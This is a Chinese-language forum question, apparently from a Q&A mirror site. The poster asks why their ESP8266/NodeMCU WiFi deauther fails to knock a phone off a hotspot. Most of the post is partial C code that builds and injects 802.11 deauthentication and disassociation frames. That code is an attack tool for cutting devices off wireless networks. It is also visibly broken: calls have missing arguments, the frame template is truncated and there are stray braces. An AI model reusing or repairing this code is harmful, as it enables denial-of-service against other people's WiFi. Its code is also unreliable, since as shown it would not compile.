如何解决通过 esp8266 发送解除认证包
我正在尝试使用我的 nodemcu 实现一个简单的 WiFi deauther,但我看不到任何断开 b/w AP(我的 android 热点)和 Station(我的第二个 android 设备) 但是当我使用像 Wi-PWN(在 GitHub 上可用)这样的第三方工具时,它正在工作。
很明显我在解除认证过程中做错了
这是部分代码
// Channel to perform deauth
uint8_t channel = 0;
// Packet buffer
uint8_t packet_buffer[128];
// DeAuth template
uint8_t template_da[26] = {
0xc0,0x00,0xCC,0x01,0x00};
uint16_t create_packet(uint8_t *buf,uint8_t *client,uint8_t *ap,uint8_t type)
{
int i = 0;
memcpy(buf,template_da,26);
// Destination
memcpy(buf + 4,client,ETH_MAC_LEN);
// Sender
memcpy(buf + 10,ap,ETH_MAC_LEN);
buf[0] = type;
return 26;
}
/* Sends deauth packets. */
void deauth(uint8_t *c,uint16_t seq)
{
uint8_t i = 0;
uint16_t sz = 0;
sz = create_packet(packet_buffer,c,0xc0); // 0xc0 for deauth
wifi_send_pkt_freedom(packet_buffer,sz,0);
sz = create_packet(packet_buffer,0xa0); // xa0 for disassociation
wifi_send_pkt_freedom(packet_buffer,0);
delay(1);
}
}
编辑:我知道 AP 和 Station 的 mac 地址,因此在创建数据包时填写 mac 不会出错。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。